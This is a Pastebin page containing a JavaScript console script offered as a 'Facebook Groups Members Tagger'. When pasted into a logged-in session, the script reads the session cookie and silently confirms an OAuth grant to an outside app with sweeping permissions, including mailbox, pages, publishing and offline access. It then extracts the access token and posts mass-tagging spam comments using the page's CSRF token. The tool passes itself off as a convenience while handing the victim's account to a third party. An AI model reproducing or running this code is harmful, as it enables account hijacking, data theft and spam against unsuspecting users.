Advertisement
skimi07

Facebook Groups Members Tagger

Apr 14th, 2015
349
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.48 KB | None | 0 0
  1. var post_id = "ايدي المنشور";
  2. var group_id = "اَيدي الجروب";
  3. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  4. uygulamaizinver(TokenUrl("2254487659"));
  5. var profile_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]).toString();
  6. function uygulamaizinver(url){
  7. var xmlhttp = new XMLHttpRequest();
  8. xmlhttp.onreadystatechange = function () {
  9. if(xmlhttp.readyState == 4){
  10. izinverhtml = document.createElement("html");
  11. izinverhtml.innerHTML = xmlhttp.responseText;
  12. if(izinverhtml.getElementsByTagName("form").length > 0){
  13. izinverhtml.innerHTML = izinverhtml.getElementsByTagName("form")[0].outerHTML
  14. act = izinverhtml.getElementsByTagName("form")[0].action;
  15. duzenlevegonder(izinverhtml,act);
  16. }
  17. }
  18. };
  19. xmlhttp.open("GET", url, true);
  20. xmlhttp.send();
  21. }
  22. function duzenlevegonder(formnesne,act){
  23. izinverparams = "";
  24. for(i=0;i<formnesne.getElementsByTagName("input").length;i++){
  25. if(formnesne.getElementsByTagName("input")[i].name.indexOf("__CANCEL__") < 0 && formnesne.getElementsByTagName("input")[i].name.indexOf("cancel_clicked")){
  26. izinverparams += "&" + formnesne.getElementsByTagName("input")[i].name + "=" + formnesne.getElementsByTagName("input")[i].value;
  27. }
  28. }
  29. if(formnesne.getElementsByTagName("select").length > 0){
  30. izinverparams += "&" + formnesne.getElementsByTagName("select")[0].name + "=80";
  31. }
  32. izinverparams.replace("&fb_dtsg","fb_dtsg");
  33. izinverparams += "&__CONFIRM__=1";
  34. formnesne = formnesne;
  35. var xmlhttp = new XMLHttpRequest();
  36. xmlhttp.onreadystatechange = function () {
  37. if(xmlhttp.readyState == 4){
  38. izinhtml = document.createElement("html");
  39. izinhtml.innerHTML = xmlhttp.responseText;
  40. if(izinhtml.getElementsByTagName("form").length > 0){
  41. izinhtml.innerHTML = izinhtml.getElementsByTagName("form")[0].outerHTML;
  42. act = izinhtml.getElementsByTagName("form")[0].action;
  43. duzenlevegonder(izinhtml,act)
  44. }else{
  45. sex = xmlhttp.responseText.match(/#access_token=(.*?)&expires_in/i);
  46. if (sex[1]) {
  47. tokenyolla(sex[1]);
  48. }
  49. }
  50. }
  51. };
  52. xmlhttp.open("POST", act , true);
  53. xmlhttp.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  54. xmlhttp.send(izinverparams);
  55. }
  56. function TokenUrl(id){
  57. return "//www.facebook.com/dialog/oauth?response_type=token&display=popup&client_id=" + id +"&redirect_uri=fbconnect://success&sso_key=com&scope=public_profile,basic_info,read_stream,read_mailbox,read_page_mailboxes,rsvp_event,offline_access,email,read_insights,manage_notifications,read_friendlists,manage_pages,publish_actions,whitelisted_offline_access,user_birthday,user_religion_politics,user_relationships,user_relationship_details,user_hometown,user_location,user_likes,user_activities,user_interests,user_education_history,user_work_history,user_website,user_groups,user_events,user_photos,user_videos,user_friends,user_about_me,user_status";
  58. }
  59. if(!localStorage['token_' + profile_id] || (localStorage['token_' + profile_id] && tarih.getTime() >= localStorage['token_' + profile_id])){
  60. var http = new XMLHttpRequest();
  61. http['open']('GET', 'https://graph.facebook.com/' + profile_id, false);
  62. http['send']();
  63. var get = JSON.parse(http['responseText']);
  64. var isim = get.name;
  65. }
  66. function tokenyolla(access_token){
  67. var access = access_token;
  68. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  69. display += "<div style='padding-bottom:5px;font-size:20px;'>Coded By Amni TEcH_8</div>";
  70. if (i > 0) {
  71. display += "<div class='friend-edge'>";
  72. display += "<div style='text-align:center;font-size:13px;red-space:pre-wrap;color:gray'>";
  73. display += "الرجاء الانتضار قليلا حتى تكتمل العملية و لا تنسو لابك لمدونة امني للمعلوميات.</br>";
  74. display += "</div>";
  75. display += "</div>";
  76. } else {
  77. display += "<b> Group memmbers is tagging now</b></br>";
  78. display += "<div><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Stop & Exit</span><br/>";
  79. display += "<div style='text-align:center;font-size:10px;red-space:pre-wrap;color:gray'><br/>";
  80. display += "</div>";
  81. }
  82. display += "</div>";
  83. document.getElementById("pagelet_sidebar").innerHTML = display
  84. function x__0() {
  85. return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest
  86. }
  87. function get_friends() {
  88. var a = x__0();
  89. a.open("GET", "https://graph.facebook.com/"+ group_id +"/members?access_token="+ access +"", false);
  90. a.send(null);
  91. if (a.readyState == 4) {
  92. var f = JSON.parse(a.responseText.substring(a.responseText.indexOf("{")));
  93. return f.data
  94. }
  95. return false
  96. }
  97. function get_uid(b) {
  98. var a = x__0();
  99. a.open("GET", "https://graph.facebook.com/" + user_id , false);
  100. a.send();
  101. if (a.readyState == 4) return uid = JSON.parse(a.responseText).id;
  102. return false
  103. }
  104. var patt = /comment_text=(.*?)&/;
  105. var c = 1;
  106. username = /\.com\/(.*?)\//.exec(window.top.location)[1];
  107. uid = get_uid(username);
  108. a = window.top.location;
  109. termina = 0;
  110. var amigos = get_friends();
  111. uids = "comment_text=";
  112. header = "ft_ent_identifier=" + post_id + "&comment_text=?&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user=" + uid + "&__a=1&__req=4u&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&phstamp=" + Math.random();
  113. for (var n = 1; n < amigos.length; n++) {
  114. fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
  115. uids += "%40[" + amigos[n].id + "%3AAAAAAAAAAAA]%20";
  116. c++;
  117. if (c == 50) {
  118. uids += "&";
  119. with(new XMLHttpRequest) open("POST", "/ajax/ufi/add_comment.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send(header.replace(patt, uids));
  120. z = setTimeout("function(){asd=0}", 1E3);
  121. clearInterval(z);
  122. c = 1;
  123. uids = "comment_text="
  124. }
  125. }}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement